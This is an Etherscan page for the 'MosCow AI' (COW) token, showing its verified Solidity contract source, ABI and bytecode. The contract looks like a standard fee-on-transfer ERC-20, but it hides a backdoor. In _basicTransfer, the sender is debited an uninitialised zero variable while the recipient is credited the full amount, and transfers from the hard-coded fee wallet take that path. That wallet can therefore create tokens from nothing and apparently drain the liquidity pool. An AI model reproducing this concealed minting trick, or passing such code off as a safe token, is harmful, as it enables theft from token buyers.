ETH Price: $3,474.07 (+1.63%)

Token

MosCow AI (COW)
 

Overview

Max Total Supply

100,000,000 COW

Holders

74

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
913,918.052746937764752862 COW

Value
$0.00
0x2fdd25cfa99624f08c6e966ced0acee8cc096218
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MosCowAI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-01
*/

// SPDX-License-Identifier: MIT

/*
    // apps

    Web      : https://moscowai.cash
    App      : https://app.moscowai.cash

    // socials

    Twitter  : https://twitter.com/moscowaix
    Medium   : https://medium.com/@moscow.ai
    Telegram : https://t.me/moscowaicash
    
*/

pragma solidity 0.8.19;

abstract contract Context {
    constructor() {
    }

    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactoryV2 {
    event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
    function getPair(address tokenA, address tokenB) external view returns (address lpPair);
    function createPair(address tokenA, address tokenB) external returns (address lpPair);
}

interface IRouter01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function swapExactETHForTokens(
        uint amountOutMin, 
        address[] calldata path, 
        address to, uint deadline
    ) external payable returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IRouter02 is IRouter01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract MosCowAI is Context, Ownable, IERC20 {
    using SafeMath for uint256;

    function totalSupply() external pure override returns (uint256) { if (_totalSupply == 0) { revert(); } return _totalSupply; }
    function decimals() external pure override returns (uint8) { if (_totalSupply == 0) { revert(); } return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner(); }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function balanceOf(address account) public view override returns (uint256) {
        return balance[account];
    }

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _noMosCowFee;
    mapping (address => bool) private isLpPair;
    mapping (address => uint256) private balance;

    uint8 constant private _decimals = 18;
    uint256 constant public _totalSupply = 100_000_000 * 10**18;        
    uint256 private constant onePercent = 1000000 * 10**_decimals; // 1% from Liquidity 
    uint256 public maxWalletAmount = onePercent * 2;               // 2% max wallet at launch
    uint256 public swapThreshold = 450 * 10**_decimals;

    uint256 constant public buyfee = 0;        
    uint256 constant public sellfee = 5;

    uint256 constant public initialBatFee = 40;
    uint256 constant public fee_denominator = 100;
    
    uint256 constant private burnFee = 0;
    uint256 constant private burnDenominator = 100;
    address payable private  mosCowFees = payable(0x1eEfe9dCd4C1d7Be962f66f043CB14d3B2A7Fa3d); // MosCow AI Fees

    IRouter02 public swapRouter;
    string constant private _name = "MosCow AI";
    string constant private _symbol = "COW";    
    address constant public DEAD = 0x000000000000000000000000000000000000dEaD;

    address public lpPair;
    bool private inSwap;
    
    uint256 private launchedAt;
    uint256 private launchDelay = 2;
    bool private launch = false;

    modifier inSwapFlag {
        inSwap = true;
        _;
        inSwap = false;
    }

    event updateMosCowThresold(uint256 amount);

    constructor () {
        _noMosCowFee[msg.sender] = true;
        _noMosCowFee[address(this)] = true;
        _noMosCowFee[mosCowFees] = true;
        
        balance[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function createMosCowPairs() external onlyOwner {

        require(!launch,"Already MosCow AI launched!");

        swapRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Uniswap V2 Router
        
        _approve(address(this), address(swapRouter), _totalSupply);
        lpPair = IFactoryV2(swapRouter.factory()).createPair(address(this), swapRouter.WETH());
        isLpPair[lpPair] = true;
        swapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(lpPair).approve(address(swapRouter), type(uint).max);
    }

    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: Zero Address");
        require(spender != address(0), "ERC20: Zero Address");
        _allowances[sender][spender] = amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
        }

        return _transfer(sender, recipient, amount);
    }

    function isNoMosCowFeeWalletX(address account) external view returns(bool) {
        return _noMosCowFee[account];
    }

    function internalSwap(uint256 contractBalance, uint256 tokensForSwap) internal inSwapFlag {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = swapRouter.WETH();

        if (_allowances[address(this)][address(swapRouter)] != type(uint256).max) {
            _allowances[address(this)][address(swapRouter)] = type(uint256).max;
        }

        if(contractBalance > swapThreshold) {
            try swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokensForSwap,
                0,
                path,
                address(this),
                block.timestamp
            ) {} catch {
                return;
            }

            uint256 ethForMarketing = address(this).balance;
            mosCowFees.transfer(ethForMarketing);
        }
    }

    function removeMosCowLimits() external onlyOwner {
        maxWalletAmount = _totalSupply;
    }

    function is_MosCowSell(address ins, address out) internal view returns (bool) { 
        bool _is_sell = isLpPair[out] && !isLpPair[ins];
        return _is_sell;
    }

    function isNoMosCowInternalFees(address ins) internal view returns (bool) {
        return _noMosCowFee[ins] && ins!=owner() && ins!=address(this);
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        uint256 amounts;
        balance[sender] = balance[sender].sub(
            amounts,
            "Insufficient Balance"
        );
        balance[recipient] = balance[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal returns  (bool) {
        bool takeFee = true;
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(isNoMosCowInternalFees(from)) {
            return _basicTransfer(from, to, amount);
        }

        if (_noMosCowFee[from] || _noMosCowFee[to]){
            takeFee = false;
        } else {
            require(launch, "Trading is not opened!");

            if(is_MosCowSell(from, to) &&  !inSwap) {
                uint256 tokensToSwap = balanceOf(address(this));
                if(tokensToSwap >= swapThreshold && !inSwap) { 
                    if (tokensToSwap > onePercent) {
                        tokensToSwap = onePercent;
                    }                
                    internalSwap(amount, tokensToSwap);
                }
            } else {
                require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet 2% at launch");
            }
        }

        balance[from] -= amount;
        uint256 amountAfterFee = (takeFee) ? takeMosCowTaxes(from, is_MosCowSell(from, to), amount) : amount;
        balance[to] += amountAfterFee; 
        emit Transfer(from, to, amountAfterFee);

        return true;
    }

    
    function takeMosCowTaxes(address from, bool issell, uint256 amount) internal returns (uint256) {

        uint256 fee;
        if (block.number < launchedAt + launchDelay) {
            fee = initialBatFee;
        } else {
            fee = buyfee;
            if (issell)  fee = sellfee;
        }

        if (fee == 0)  return amount; 

        uint256 feeAmount = amount * fee / fee_denominator;
        if (feeAmount > 0) {
            uint256 burnAmount = amount * burnFee / burnDenominator;
            balance[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);

            if(burnAmount > 0) {
                balance[address(this)] -= burnAmount;
                balance[address(DEAD)] += burnAmount;
                emit Transfer(address(this), DEAD, burnAmount);
            }
        }
        return amount - feeAmount;
    }

    function changeMosCowThreshold(uint256 amount) external onlyOwner {
        require(amount >= 100,"Amount lower not accepted.");
        swapThreshold = amount;
        emit updateMosCowThresold(swapThreshold);
    }

    function withdrawStuckEthBalance() external onlyOwner {
        require(address(this).balance > 0, "No Balance to withdraw!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function enableTrading() external onlyOwner {
        require(!launch,"Already launched!");

        launch = true;
        launchedAt = block.number;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMosCowThresold","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyfee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"changeMosCowThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createMosCowPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fee_denominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initialBatFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isNoMosCowFeeWalletX","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeMosCowLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellfee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"contract IRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckEthBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a6200029d565b6200002190620f4240620002b5565b6200002e906002620002b5565b6005556200003f6012600a6200029d565b6200004d906101c2620002b5565b600655600780546001600160a01b031916731eefe9dcd4c1d7be962f66f043cb14d3b2a7fa3d1790556002600b55600c805460ff191690553480156200009257600080fd5b506200009e3362000138565b3360008181526002602090815260408083208054600160ff19918216811790925530855282852080548216831790556007546001600160a01b0316855282852080549091169091179055838352600482528083206a52b7d2dcc80cd2e40000009081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620002cf565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620001df578160001904821115620001c357620001c362000188565b80851615620001d157918102915b93841c9390800290620001a3565b509250929050565b600082620001f85750600162000297565b81620002075750600062000297565b81600181146200022057600281146200022b576200024b565b600191505062000297565b60ff8411156200023f576200023f62000188565b50506001821b62000297565b5060208310610133831016604e8410600b841016171562000270575081810a62000297565b6200027c83836200019e565b806000190482111562000293576200029362000188565b0290505b92915050565b6000620002ae60ff841683620001e7565b9392505050565b808202811582820484141762000297576200029762000188565b611b6080620002df6000396000f3fe6080604052600436106101c65760003560e01c80638612977c116100f7578063a9059cbb11610095578063dc9d75b011610064578063dc9d75b0146104f1578063dd62ed3e14610506578063e9451f5f1461054c578063f2fde38b1461056157600080fd5b8063a9059cbb14610486578063aa4bde28146104a6578063b53457c6146104bc578063c31c9c07146104d157600080fd5b80638da5cb5b116100d15780638da5cb5b146103f257806395d89b4114610425578063a4d850f214610451578063a8df98fb1461046657600080fd5b80638612977c146103dd578063893d20e8146103f25780638a8c523c1461041057600080fd5b806323b872dd11610164578063452ed4f11161013e578063452ed4f11461035b57806360cad12a1461037b57806370a0823114610392578063715018a6146103c857600080fd5b806323b872dd14610300578063313ce567146103205780633eaaf86b1461033c57600080fd5b8063095ea7b3116101a0578063095ea7b3146102645780630bec2abc1461029457806318160ddd146102cd5780631dc36945146102eb57600080fd5b806303fd2a45146101d25780630445b6671461020557806306fdde031461022957600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e861dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561021157600080fd5b5061021b60065481565b6040519081526020016101fc565b34801561023557600080fd5b506040805180820190915260098152684d6f73436f7720414960b81b60208201525b6040516101fc919061173a565b34801561027057600080fd5b5061028461027f36600461179d565b610581565b60405190151581526020016101fc565b3480156102a057600080fd5b506102846102af3660046117c9565b6001600160a01b031660009081526002602052604090205460ff1690565b3480156102d957600080fd5b506a52b7d2dcc80cd2e400000061021b565b3480156102f757600080fd5b5061021b600081565b34801561030c57600080fd5b5061028461031b3660046117e6565b610598565b34801561032c57600080fd5b50604051601281526020016101fc565b34801561034857600080fd5b5061021b6a52b7d2dcc80cd2e400000081565b34801561036757600080fd5b506009546101e8906001600160a01b031681565b34801561038757600080fd5b50610390610612565b005b34801561039e57600080fd5b5061021b6103ad3660046117c9565b6001600160a01b031660009081526004602052604090205490565b3480156103d457600080fd5b506103906106c4565b3480156103e957600080fd5b506103906106fa565b3480156103fe57600080fd5b506000546001600160a01b03166101e8565b34801561041c57600080fd5b50610390610735565b34801561043157600080fd5b50604080518082019091526003815262434f5760e81b6020820152610257565b34801561045d57600080fd5b506103906107b9565b34801561047257600080fd5b50610390610481366004611827565b610b66565b34801561049257600080fd5b506102846104a136600461179d565b610c1c565b3480156104b257600080fd5b5061021b60055481565b3480156104c857600080fd5b5061021b602881565b3480156104dd57600080fd5b506008546101e8906001600160a01b031681565b3480156104fd57600080fd5b5061021b606481565b34801561051257600080fd5b5061021b610521366004611840565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561055857600080fd5b5061021b600581565b34801561056d57600080fd5b5061039061057c3660046117c9565b610c33565b600061058e338484610ccb565b5060015b92915050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054600019146105fd576001600160a01b0384166000908152600160209081526040808320338452909152812080548492906105f790849061188f565b90915550505b610608848484610d8f565b90505b9392505050565b6000546001600160a01b031633146106455760405162461bcd60e51b815260040161063c906118a2565b60405180910390fd5b600047116106955760405162461bcd60e51b815260206004820152601760248201527f4e6f2042616c616e636520746f20776974686472617721000000000000000000604482015260640161063c565b60405133904780156108fc02916000818181858888f193505050501580156106c1573d6000803e3d6000fd5b50565b6000546001600160a01b031633146106ee5760405162461bcd60e51b815260040161063c906118a2565b6106f8600061115a565b565b6000546001600160a01b031633146107245760405162461bcd60e51b815260040161063c906118a2565b6a52b7d2dcc80cd2e4000000600555565b6000546001600160a01b0316331461075f5760405162461bcd60e51b815260040161063c906118a2565b600c5460ff16156107a65760405162461bcd60e51b8152602060048201526011602482015270416c7265616479206c61756e636865642160781b604482015260640161063c565b600c805460ff1916600117905543600a55565b6000546001600160a01b031633146107e35760405162461bcd60e51b815260040161063c906118a2565b600c5460ff16156108365760405162461bcd60e51b815260206004820152601b60248201527f416c7265616479204d6f73436f77204149206c61756e63686564210000000000604482015260640161063c565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108769030906a52b7d2dcc80cd2e4000000610ccb565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ed91906118d7565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561094f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097391906118d7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e491906118d7565b600980546001600160a01b039283166001600160a01b031990911681179091556000908152600360205260409020805460ff191660011790556008541663f305d7194730610a47816001600160a01b031660009081526004602052604090205490565b600080610a5c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ac4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ae991906118f4565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b42573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c19190611922565b6000546001600160a01b03163314610b905760405162461bcd60e51b815260040161063c906118a2565b6064811015610be15760405162461bcd60e51b815260206004820152601a60248201527f416d6f756e74206c6f776572206e6f742061636365707465642e000000000000604482015260640161063c565b60068190556040518181527faaaa5146f38661fdbccd3688891b8394594f3c13827a217eb71cb79b1903fad49060200160405180910390a150565b6000610c29338484610d8f565b5060019392505050565b6000546001600160a01b03163314610c5d5760405162461bcd60e51b815260040161063c906118a2565b6001600160a01b038116610cc25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161063c565b6106c18161115a565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161063c565b6001600160a01b038216610d635760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161063c565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b038416610df55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063c565b6001600160a01b038516610e595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063c565b60008311610ebb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063c565b610ec4856111aa565b15610edc57610ed48585856111fa565b91505061060b565b6001600160a01b03851660009081526002602052604090205460ff1680610f1b57506001600160a01b03841660009081526002602052604090205460ff165b15610f2857506000611090565b600c5460ff16610f735760405162461bcd60e51b815260206004820152601660248201527554726164696e67206973206e6f74206f70656e65642160501b604482015260640161063c565b610f7d85856112d2565b8015610f935750600954600160a01b900460ff16155b1561101557306000908152600460205260409020546006548110801590610fc45750600954600160a01b900460ff16155b1561100f57610fd56012600a611a28565b610fe290620f4240611a37565b81111561100557610ff56012600a611a28565b61100290620f4240611a37565b90505b61100f848261131d565b50611090565b60055483611038866001600160a01b031660009081526004602052604090205490565b6110429190611a4e565b11156110905760405162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c6574203225206174206c61756e6368000000000000000000604482015260640161063c565b6001600160a01b038516600090815260046020526040812080548592906110b890849061188f565b9091555060009050816110cb57836110df565b6110df866110d988886112d2565b86611527565b6001600160a01b03861660009081526004602052604081208054929350839290919061110c908490611a4e565b92505081905550846001600160a01b0316866001600160a01b0316600080516020611b0b8339815191528360405161114691815260200190565b60405180910390a350600195945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811660009081526002602052604081205460ff1680156111e057506000546001600160a01b03838116911614155b801561059257506001600160a01b03821630141592915050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054829161124e919083906116a1565b6001600160a01b03808716600090815260046020526040808220939093559086168152205461127d90846116db565b6001600160a01b038086166000818152600460205260409081902093909355915190871690600080516020611b0b833981519152906112bf9087815260200190565b60405180910390a3506001949350505050565b6001600160a01b038116600090815260036020526040812054819060ff16801561131557506001600160a01b03841660009081526003602052604090205460ff16155b949350505050565b6009805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136557611365611a61565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e291906118d7565b816001815181106113f5576113f5611a61565b6001600160a01b0392831660209182029290920181019190915230600090815260018252604080822060085490941682529290915220546000191461145f573060009081526001602090815260408083206008546001600160a01b03168452909152902060001990555b6006548311156115145760085460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a2908590600090869030904290600401611a77565b600060405180830381600087803b1580156114bc57600080fd5b505af19250505080156114cd575060015b6114d75750611516565b60075460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015611511573d6000803e3d6000fd5b50505b505b50506009805460ff60a01b19169055565b600080600b54600a5461153a9190611a4e565b43101561154957506028611556565b5060008315611556575060055b80600003611567578291505061060b565b600060646115758386611a37565b61157f9190611ae8565b9050801561168d57600060646115958287611a37565b61159f9190611ae8565b306000908152600460205260408120805492935084929091906115c3908490611a4e565b909155505060405182815230906001600160a01b03891690600080516020611b0b8339815191529060200160405180910390a3801561168b57306000908152600460205260408120805483929061161b90849061188f565b909155505061dead600090815260046020527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd805483929061165e908490611a4e565b909155505060405181815261dead903090600080516020611b0b8339815191529060200160405180910390a35b505b611697818561188f565b9695505050505050565b600081848411156116c55760405162461bcd60e51b815260040161063c919061173a565b5060006116d2848661188f565b95945050505050565b6000806116e88385611a4e565b90508381101561060b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161063c565b600060208083528351808285015260005b818110156117675785810183015185820160400152820161174b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106c157600080fd5b600080604083850312156117b057600080fd5b82356117bb81611788565b946020939093013593505050565b6000602082840312156117db57600080fd5b813561060b81611788565b6000806000606084860312156117fb57600080fd5b833561180681611788565b9250602084013561181681611788565b929592945050506040919091013590565b60006020828403121561183957600080fd5b5035919050565b6000806040838503121561185357600080fd5b823561185e81611788565b9150602083013561186e81611788565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561059257610592611879565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118e957600080fd5b815161060b81611788565b60008060006060848603121561190957600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561193457600080fd5b8151801515811461060b57600080fd5b600181815b8085111561197f57816000190482111561196557611965611879565b8085161561197257918102915b93841c9390800290611949565b509250929050565b60008261199657506001610592565b816119a357506000610592565b81600181146119b957600281146119c3576119df565b6001915050610592565b60ff8411156119d4576119d4611879565b50506001821b610592565b5060208310610133831016604e8410600b8410161715611a02575081810a610592565b611a0c8383611944565b8060001904821115611a2057611a20611879565b029392505050565b600061060b60ff841683611987565b808202811582820484141761059257610592611879565b8082018082111561059257610592611879565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ac75784516001600160a01b031683529383019391830191600101611aa2565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b0557634e487b7160e01b600052601260045260246000fd5b50049056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220949c355e5e4f1a758a7c5cfe6851ce4adaf27bf9eea8d51a